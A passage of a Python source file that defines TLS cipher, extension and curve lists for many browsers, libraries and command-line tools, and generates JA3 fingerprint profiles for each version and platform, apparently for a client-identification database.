# Firefox base (NSS)
|
||||
FIREFOX_CIPHERS_V1 = [
|
||||
0x1301, 0x1303, 0x1302, # Note: different TLS 1.3 order than Chrome
|
||||
0xc02b, 0xc02f,
|
||||
0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
]
|
||||
|
||||
# Firefox v2 (post-120)
|
||||
FIREFOX_CIPHERS_V2 = [
|
||||
0x1301, 0x1303, 0x1302,
|
||||
0xc02b, 0xc02f,
|
||||
0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
0x00ff, # TLS_EMPTY_RENEGOTIATION_INFO_SCSV
|
||||
]
|
||||
|
||||
# Safari (Apple Secure Transport)
|
||||
SAFARI_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, # Safari orders ECDSA before RSA for AES-128
|
||||
0xc030, 0xc02f,
|
||||
0xcca9, 0xcca8,
|
||||
0xc00a, 0xc009, # ECDHE-ECDSA/RSA-AES256-SHA
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
0x000a, # RSA-3DES-SHA
|
||||
]
|
||||
|
||||
# Safari iOS (slightly different ordering)
|
||||
SAFARI_IOS_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0xcca9, 0xcca8,
|
||||
0xc00a, 0xc009, 0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
]
|
||||
|
||||
# OpenSSL 1.1.x default
|
||||
OPENSSL_11_CIPHERS = [
|
||||
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
|
||||
0xccaa, 0xc02b, 0xc02f, 0x009e,
|
||||
0xc024, 0xc028, 0x006b, 0xc023, 0xc027, 0x0067,
|
||||
0xc00a, 0xc014, 0x0039, 0xc009, 0xc013, 0x0033,
|
||||
0x009d, 0x009c, 0x003d, 0x003c, 0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# OpenSSL 3.x default
|
||||
OPENSSL_3_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
|
||||
0xccaa, 0xc02b, 0xc02f, 0x009e,
|
||||
0xc024, 0xc028, 0x006b, 0xc023, 0xc027, 0x0067,
|
||||
0xc00a, 0xc014, 0x0039, 0xc009, 0xc013, 0x0033,
|
||||
0x009d, 0x009c, 0x003d, 0x003c, 0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# Go crypto/tls
|
||||
GO_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc009, 0xc013, 0xc00a, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
]
|
||||
|
||||
# Java JSSE (JDK 17+)
|
||||
JAVA_17_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0xc024, 0xc023, 0xc028, 0xc027,
|
||||
0xcca9, 0xcca8, 0xccaa,
|
||||
0xc00a, 0xc009, 0xc014, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c, 0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# Java JSSE (JDK 11)
|
||||
JAVA_11_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0xc024, 0xc023, 0xc028, 0xc027,
|
||||
0xc00a, 0xc009, 0xc014, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c, 0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# .NET / SChannel (Windows)
|
||||
DOTNET_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0x009f, 0x009e, 0xccaa,
|
||||
0xc00a, 0xc009, 0xc014, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c, 0x0035, 0x002f,
|
||||
]
|
||||
|
||||
# Node.js (OpenSSL-based)
|
||||
NODEJS_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc030, 0x009f,
|
||||
0xcca9, 0xcca8, 0xccaa,
|
||||
0xc02b, 0xc02f, 0x009e,
|
||||
0xc024, 0xc028, 0x006b,
|
||||
0xc023, 0xc027, 0x0067,
|
||||
0xc00a, 0xc014, 0x0039,
|
||||
0xc009, 0xc013, 0x0033,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c,
|
||||
0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# Python requests / urllib3 (uses OpenSSL)
|
||||
PYTHON_CIPHERS = OPENSSL_3_CIPHERS
|
||||
|
||||
# curl (uses OpenSSL by default)
|
||||
CURL_OPENSSL_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
|
||||
0xccaa, 0xc02b, 0xc02f, 0x009e,
|
||||
0xc024, 0xc028, 0x006b,
|
||||
0xc023, 0xc027, 0x0067,
|
||||
0xc00a, 0xc014, 0x0039,
|
||||
0xc009, 0xc013, 0x0033,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c,
|
||||
0x0035, 0x002f,
|
||||
0x00ff,
|
||||
]
|
||||
|
||||
# curl (NSS backend, e.g., RHEL/CentOS)
|
||||
CURL_NSS_CIPHERS = [
|
||||
0x1301, 0x1303, 0x1302,
|
||||
0xc02b, 0xc02f, 0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
]
|
||||
|
||||
# wget (GnuTLS)
|
||||
WGET_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc030, 0xcca9, 0xcca8,
|
||||
0xc02b, 0xc02f,
|
||||
0xc024, 0xc028,
|
||||
0xc023, 0xc027,
|
||||
0xc00a, 0xc014,
|
||||
0xc009, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c,
|
||||
0x0035, 0x002f,
|
||||
]
|
||||
|
||||
# mbedTLS (IoT)
|
||||
MBEDTLS_CIPHERS = [
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0xc024, 0xc023, 0xc028, 0xc027,
|
||||
0xc00a, 0xc009, 0xc014, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x003d, 0x003c,
|
||||
0x0035, 0x002f,
|
||||
]
|
||||
|
||||
# wolfSSL
|
||||
WOLFSSL_CIPHERS = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02c, 0xc02b, 0xc030, 0xc02f,
|
||||
0xc00a, 0xc009, 0xc014, 0xc013,
|
||||
0x009d, 0x009c,
|
||||
0x0035, 0x002f,
|
||||
]
|
||||
|
||||
# Tor Browser (modified Firefox ESR)
|
||||
TOR_CIPHERS = [
|
||||
0x1301, 0x1303, 0x1302,
|
||||
0xc02b, 0xc02f, 0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extension sets
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
CHROME_EXT_V1 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21]
|
||||
CHROME_EXT_V2 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21, 41]
|
||||
CHROME_EXT_V3 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21, 41, 57] # post-quantum
|
||||
CHROME_EXT_ANDROID = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 51, 45, 43, 27, 17513, 21]
|
||||
|
||||
FIREFOX_EXT_V1 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21]
|
||||
FIREFOX_EXT_V2 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21, 41]
|
||||
FIREFOX_EXT_V3 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21, 41, 57]
|
||||
|
||||
SAFARI_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21]
|
||||
SAFARI_IOS_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 51, 45, 43, 27, 21]
|
||||
|
||||
OPENSSL_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13]
|
||||
OPENSSL_3_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
|
||||
|
||||
GO_EXT = [0, 5, 10, 11, 13, 16, 18, 23, 27, 43, 45, 51, 65281]
|
||||
JAVA_EXT = [0, 5, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
|
||||
DOTNET_EXT = [0, 10, 11, 13, 16, 23, 35, 43, 51, 65281]
|
||||
NODE_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
|
||||
CURL_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
|
||||
WGET_EXT = [0, 23, 65281, 10, 11, 16, 13, 43, 51, 45]
|
||||
TOR_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21]
|
||||
|
||||
MBEDTLS_EXT = [0, 10, 11, 13, 16, 23, 65281]
|
||||
WOLFSSL_EXT = [0, 10, 11, 13, 16, 23, 43, 51, 45, 65281]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Elliptic curve sets
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
CHROME_CURVES = [29, 23, 24] # x25519, secp256r1, secp384r1
|
||||
CHROME_CURVES_PQ = [29, 23, 24, 25497] # + X25519Kyber768
|
||||
FIREFOX_CURVES = [29, 23, 24, 25] # + secp521r1
|
||||
FIREFOX_CURVES_PQ = [29, 23, 24, 25, 25497]
|
||||
SAFARI_CURVES = [29, 23, 24, 25]
|
||||
GO_CURVES = [29, 23, 24]
|
||||
JAVA_CURVES = [29, 23, 24, 25]
|
||||
OPENSSL_CURVES = [29, 23, 24, 25]
|
||||
DOTNET_CURVES = [29, 23, 24]
|
||||
MBEDTLS_CURVES = [23, 24, 25] # No x25519
|
||||
WOLFSSL_CURVES = [29, 23, 24]
|
||||
TOR_CURVES = [29, 23, 24, 25]
|
||||
|
||||
EC_FORMATS_STANDARD = [0] # uncompressed
|
||||
EC_FORMATS_ALL = [0, 1, 2] # uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2
|
||||
|
||||
|
||||
def _gen_chrome_profiles() -> list[tuple]:
|
||||
"""Generate Chrome/Chromium profiles across versions and platforms."""
|
||||
profiles = []
|
||||
|
||||
platforms = [
|
||||
("win", "Windows 10/11"),
|
||||
("mac", "macOS"),
|
||||
("linux", "Linux"),
|
||||
("android", "Android"),
|
||||
]
|
||||
|
||||
for ver in range(100, 125):
|
||||
for plat_key, plat_desc in platforms:
|
||||
if ver < 120:
|
||||
ciphers = CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V1
|
||||
curves = CHROME_CURVES
|
||||
elif ver < 122:
|
||||
ciphers = CHROMIUM_CIPHERS_V2
|
||||
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V2
|
||||
curves = CHROME_CURVES
|
||||
else:
|
||||
ciphers = CHROMIUM_CIPHERS_V3
|
||||
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V3
|
||||
curves = CHROME_CURVES_PQ
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"chrome_{ver}_{plat_key}"
|
||||
desc = f"Chrome {ver} on {plat_desc}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_firefox_profiles() -> list[tuple]:
|
||||
"""Generate Firefox profiles."""
|
||||
profiles = []
|
||||
|
||||
platforms = [
|
||||
("win", "Windows 10/11"),
|
||||
("mac", "macOS"),
|
||||
("linux", "Linux"),
|
||||
]
|
||||
|
||||
for ver in range(100, 126):
|
||||
for plat_key, plat_desc in platforms:
|
||||
if ver < 118:
|
||||
ciphers = FIREFOX_CIPHERS_V1
|
||||
ext = FIREFOX_EXT_V1
|
||||
curves = FIREFOX_CURVES
|
||||
elif ver < 123:
|
||||
ciphers = FIREFOX_CIPHERS_V2
|
||||
ext = FIREFOX_EXT_V2
|
||||
curves = FIREFOX_CURVES
|
||||
else:
|
||||
ciphers = FIREFOX_CIPHERS_V2
|
||||
ext = FIREFOX_EXT_V3
|
||||
curves = FIREFOX_CURVES_PQ
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"firefox_{ver}_{plat_key}"
|
||||
desc = f"Firefox {ver} on {plat_desc}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_edge_profiles() -> list[tuple]:
|
||||
"""Generate Edge profiles (Chromium-based, similar but not identical to Chrome)."""
|
||||
profiles = []
|
||||
|
||||
for ver in range(100, 125):
|
||||
if ver < 120:
|
||||
ciphers = CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_V1
|
||||
curves = CHROME_CURVES
|
||||
elif ver < 122:
|
||||
ciphers = CHROMIUM_CIPHERS_V2
|
||||
ext = CHROME_EXT_V2
|
||||
curves = CHROME_CURVES
|
||||
else:
|
||||
ciphers = CHROMIUM_CIPHERS_V3
|
||||
ext = CHROME_EXT_V3
|
||||
curves = CHROME_CURVES_PQ
|
||||
|
||||
# Edge adds a few extra extensions on Windows
|
||||
edge_ext = ext + [34]
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, edge_ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"edge_{ver}_win"
|
||||
desc = f"Edge {ver} on Windows 10/11"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(edge_ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_safari_profiles() -> list[tuple]:
|
||||
"""Generate Safari profiles (macOS + iOS)."""
|
||||
profiles = []
|
||||
|
||||
# macOS Safari versions 15-17
|
||||
for ver in range(15, 18):
|
||||
for minor in range(0, 6):
|
||||
ja3_hash = compute_ja3(771, SAFARI_CIPHERS, SAFARI_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"safari_{ver}_{minor}_mac"
|
||||
desc = f"Safari {ver}.{minor} on macOS"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(SAFARI_CIPHERS), json.dumps(SAFARI_EXT),
|
||||
json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# iOS Safari versions 15-17
|
||||
for ver in range(15, 18):
|
||||
for minor in range(0, 6):
|
||||
ja3_hash = compute_ja3(771, SAFARI_IOS_CIPHERS, SAFARI_IOS_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"safari_{ver}_{minor}_ios"
|
||||
desc = f"Safari {ver}.{minor} on iOS"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(SAFARI_IOS_CIPHERS), json.dumps(SAFARI_IOS_EXT),
|
||||
json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_opera_profiles() -> list[tuple]:
|
||||
"""Generate Opera profiles (Chromium-based)."""
|
||||
profiles = []
|
||||
for ver in range(86, 106):
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 105 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_V2 if ver >= 105 else CHROME_EXT_V1
|
||||
curves = CHROME_CURVES
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"opera_{ver}_win"
|
||||
desc = f"Opera {ver} on Windows"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_brave_profiles() -> list[tuple]:
|
||||
"""Generate Brave profiles (Chromium-based, randomized fingerprint features)."""
|
||||
profiles = []
|
||||
|
||||
platforms = [("win", "Windows"), ("mac", "macOS"), ("linux", "Linux")]
|
||||
|
||||
for ver in range(110, 125):
|
||||
for plat_key, plat_desc in platforms:
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_V2 if ver >= 120 else CHROME_EXT_V1
|
||||
curves = CHROME_CURVES
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"brave_{ver}_{plat_key}"
|
||||
desc = f"Brave {ver} on {plat_desc}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_tor_profiles() -> list[tuple]:
|
||||
"""Generate Tor Browser profiles."""
|
||||
profiles = []
|
||||
for ver_major in range(12, 14):
|
||||
for ver_minor in range(0, 6):
|
||||
ja3_hash = compute_ja3(771, TOR_CIPHERS, TOR_EXT, TOR_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"tor_{ver_major}_{ver_minor}"
|
||||
desc = f"Tor Browser {ver_major}.{ver_minor}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(TOR_CIPHERS), json.dumps(TOR_EXT),
|
||||
json.dumps(TOR_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_library_profiles() -> list[tuple]:
|
||||
"""Generate TLS library profiles."""
|
||||
profiles = []
|
||||
|
||||
# OpenSSL versions
|
||||
for minor in range(0, 10):
|
||||
for patch in range(0, 3):
|
||||
# OpenSSL 1.1.1x
|
||||
ciphers = OPENSSL_11_CIPHERS
|
||||
ext = OPENSSL_EXT
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"openssl_1_1_1_{chr(97 + minor)}"
|
||||
desc = f"OpenSSL 1.1.1{chr(97 + minor)}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
for minor in range(0, 5):
|
||||
# OpenSSL 3.x
|
||||
ciphers = OPENSSL_3_CIPHERS
|
||||
ext = OPENSSL_3_EXT
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"openssl_3_{minor}"
|
||||
desc = f"OpenSSL 3.{minor}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# Go versions
|
||||
for minor in range(18, 23):
|
||||
ja3_hash = compute_ja3(771, GO_CIPHERS, GO_EXT, GO_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"go_1_{minor}"
|
||||
desc = f"Go 1.{minor} net/http"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(GO_CIPHERS), json.dumps(GO_EXT),
|
||||
json.dumps(GO_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# Java versions
|
||||
for ver in [8, 11, 17, 21]:
|
||||
ciphers = JAVA_17_CIPHERS if ver >= 17 else JAVA_11_CIPHERS
|
||||
ja3_hash = compute_ja3(771, ciphers, JAVA_EXT, JAVA_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"java_jdk_{ver}"
|
||||
desc = f"Java JDK {ver} JSSE"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(JAVA_EXT),
|
||||
json.dumps(JAVA_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# .NET versions
|
||||
for ver in ["6", "7", "8"]:
|
||||
ja3_hash = compute_ja3(771, DOTNET_CIPHERS, DOTNET_EXT, DOTNET_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"dotnet_{ver}"
|
||||
desc = f".NET {ver} HttpClient (SChannel)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(DOTNET_CIPHERS), json.dumps(DOTNET_EXT),
|
||||
json.dumps(DOTNET_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# Node.js versions
|
||||
for ver in range(16, 22):
|
||||
ja3_hash = compute_ja3(771, NODEJS_CIPHERS, NODE_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"nodejs_{ver}"
|
||||
desc = f"Node.js {ver} https"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(NODEJS_CIPHERS), json.dumps(NODE_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# mbedTLS versions
|
||||
for ver in ["2.28", "3.0", "3.4", "3.5"]:
|
||||
ja3_hash = compute_ja3(771, MBEDTLS_CIPHERS, MBEDTLS_EXT, MBEDTLS_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"mbedtls_{ver.replace('.', '_')}"
|
||||
desc = f"mbedTLS {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(MBEDTLS_CIPHERS), json.dumps(MBEDTLS_EXT),
|
||||
json.dumps(MBEDTLS_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# wolfSSL
|
||||
for ver in ["5.5", "5.6", "5.7"]:
|
||||
ja3_hash = compute_ja3(771, WOLFSSL_CIPHERS, WOLFSSL_EXT, WOLFSSL_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"wolfssl_{ver.replace('.', '_')}"
|
||||
desc = f"wolfSSL {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(WOLFSSL_CIPHERS), json.dumps(WOLFSSL_EXT),
|
||||
json.dumps(WOLFSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_tool_profiles() -> list[tuple]:
|
||||
"""Generate common tool profiles."""
|
||||
profiles = []
|
||||
|
||||
# curl with different backends
|
||||
for ver in ["7.81", "7.88", "8.0", "8.1", "8.4", "8.5", "8.6", "8.7"]:
|
||||
ja3_hash = compute_ja3(771, CURL_OPENSSL_CIPHERS, CURL_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"curl_{ver.replace('.', '_')}_openssl"
|
||||
desc = f"curl/{ver} (OpenSSL)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(CURL_OPENSSL_CIPHERS), json.dumps(CURL_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
for ver in ["7.76", "7.79", "7.81"]:
|
||||
ja3_hash = compute_ja3(771, CURL_NSS_CIPHERS, CURL_EXT, FIREFOX_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"curl_{ver.replace('.', '_')}_nss"
|
||||
desc = f"curl/{ver} (NSS)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(CURL_NSS_CIPHERS), json.dumps(CURL_EXT),
|
||||
json.dumps(FIREFOX_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# wget
|
||||
for ver in ["1.21", "2.0", "2.1"]:
|
||||
ja3_hash = compute_ja3(771, WGET_CIPHERS, WGET_EXT, OPENSSL_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"wget_{ver.replace('.', '_')}"
|
||||
desc = f"wget/{ver} (GnuTLS)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(WGET_CIPHERS), json.dumps(WGET_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# Python requests/urllib3/httpx
|
||||
for lib in ["requests_2_31", "requests_2_32", "httpx_0_25", "httpx_0_27",
|
||||
"aiohttp_3_9", "urllib3_2_1"]:
|
||||
ja3_hash = compute_ja3(771, PYTHON_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"python_{lib}"
|
||||
desc = f"Python {lib.replace('_', '/')}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(PYTHON_CIPHERS), json.dumps(OPENSSL_3_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# Rust reqwest (uses rustls)
|
||||
RUSTLS_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02c, 0xc02b, 0xc030, 0xc02f, 0xcca9, 0xcca8]
|
||||
RUSTLS_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
|
||||
RUSTLS_CURVES = [29, 23, 24]
|
||||
for ver in ["0_11", "0_12"]:
|
||||
ja3_hash = compute_ja3(771, RUSTLS_CIPHERS, RUSTLS_EXT, RUSTLS_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"rust_reqwest_{ver}"
|
||||
desc = f"Rust reqwest {ver.replace('_', '.')} (rustls)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(RUSTLS_CIPHERS), json.dumps(RUSTLS_EXT),
|
||||
json.dumps(RUSTLS_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_mobile_profiles() -> list[tuple]:
|
||||
"""Generate mobile-specific profiles beyond Android Chrome."""
|
||||
profiles = []
|
||||
|
||||
# Samsung Internet
|
||||
for ver in range(20, 25):
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 23 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_ANDROID
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, CHROME_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"samsung_internet_{ver}_android"
|
||||
desc = f"Samsung Internet {ver} on Android"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(CHROME_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# Android WebView
|
||||
for ver in range(100, 125):
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_ANDROID
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, CHROME_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"android_webview_{ver}"
|
||||
desc = f"Android WebView {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(CHROME_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# iOS WKWebView (uses Apple Secure Transport, same as Safari)
|
||||
for ver in range(15, 18):
|
||||
for minor in range(0, 5):
|
||||
ja3_hash = compute_ja3(771, SAFARI_IOS_CIPHERS, SAFARI_IOS_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"ios_wkwebview_{ver}_{minor}"
|
||||
desc = f"iOS {ver}.{minor} WKWebView"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(SAFARI_IOS_CIPHERS), json.dumps(SAFARI_IOS_EXT),
|
||||
